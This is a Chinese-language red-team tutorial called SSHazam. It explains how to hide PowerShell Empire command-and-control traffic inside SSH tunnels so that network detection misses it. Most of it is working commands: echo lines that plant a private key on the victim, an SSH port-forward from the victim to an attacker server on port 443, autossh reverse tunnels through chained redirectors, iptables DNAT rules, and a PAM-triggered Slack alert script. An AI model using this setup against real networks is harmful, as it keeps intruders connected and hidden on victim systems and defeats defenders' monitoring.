SSHazam:在SSH隧道中隐藏C2通信
SSHazam是一种通过标准SSH隧道运行任意C2工具以规避网络检测的方法。本文示例使用PowerShell Empire,该工具会连接到受害者的本地端口。通过SSH连接将本地端口转发至远程Empire服务器,使得网络流量仅显示为SSH通信。示例中受害系统为OS X,但相同技术可在Windows上使用Putty工具集中的Plink.exe实现。
基础架构原理
上图示出受害系统配置的SSH隧道监听端口5430,并将接收数据转发至Empire服务器。Empire服务器在本地相同端口(127.0.0.1:5430)运行监听程序。为使SSH流量更隐蔽,将SSH服务端口改为443(非标准22端口)。需修改SSH配置文件监听该端口,并配置云服务商防火墙允许此端口通信。
密钥配置流程
建立隧道前需将私钥复制至受害系统,对应公钥需添加到Empire服务器的authorized_keys文件。示例将私钥文件置于受害机~/.ssh/.do.key,可通过以下命令完成配置:
1
2
3
4
5
6
7
8
9
10
|
mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<!-- 此处省略部分密钥内容 -->
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key
|
服务器安全加固
为防止私钥泄露导致未授权访问,可在Empire服务器修改/etc/passwd将用户登录shell设置为/bin/false:
1
|
victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false
|
隧道建立命令
在受害系统执行以下命令建立SSH隧道:
1
|
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-server.corp.com -L 5430:127.0.0.1:5430
|
C2工具配置
配置PowerShell Empire在127.0.0.1:5430监听连接,此方法甚至支持域前置等复杂配置。至此所有C2流量均隐藏于加密SSH隧道中,无需担心触发网络检测特征。
高级重定向架构
若需避免将客户敏感数据存于第三方云主机,可建立多级重定向器:
- C2连接通过SSH隧道转发至empire-redirector
- 防火墙规则将流量转发至中间重定向器
- 内部系统通过反向SSH连接最终重定向器
受害机SSH命令:
1
|
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431
|
内部系统SSH命令(需安装autossh保持隧道稳定):
1
|
autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com
|
防火墙规则配置
Empire-Redirector的iptables规则:
1
2
3
|
iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1
|
Redirector的iptables规则:
1
2
|
sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433
|
实时告警机制
在empire-redirector的/etc/pam.d/sshd添加Slack通知脚本:
1
2
|
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session optional pam_exec.so /home/root/ssh-slack-alert.sh
|
Slack告警脚本示例:
1
2
3
4
5
6
7
8
|
#!/usr/bin/env bash
if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"
curl -X POST \
--data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi
|
注意事项
复杂架构下需为每个受害者配置不同端口和密钥组合,虽适用于鱼叉钓鱼场景,但仅支持单用户并发连接。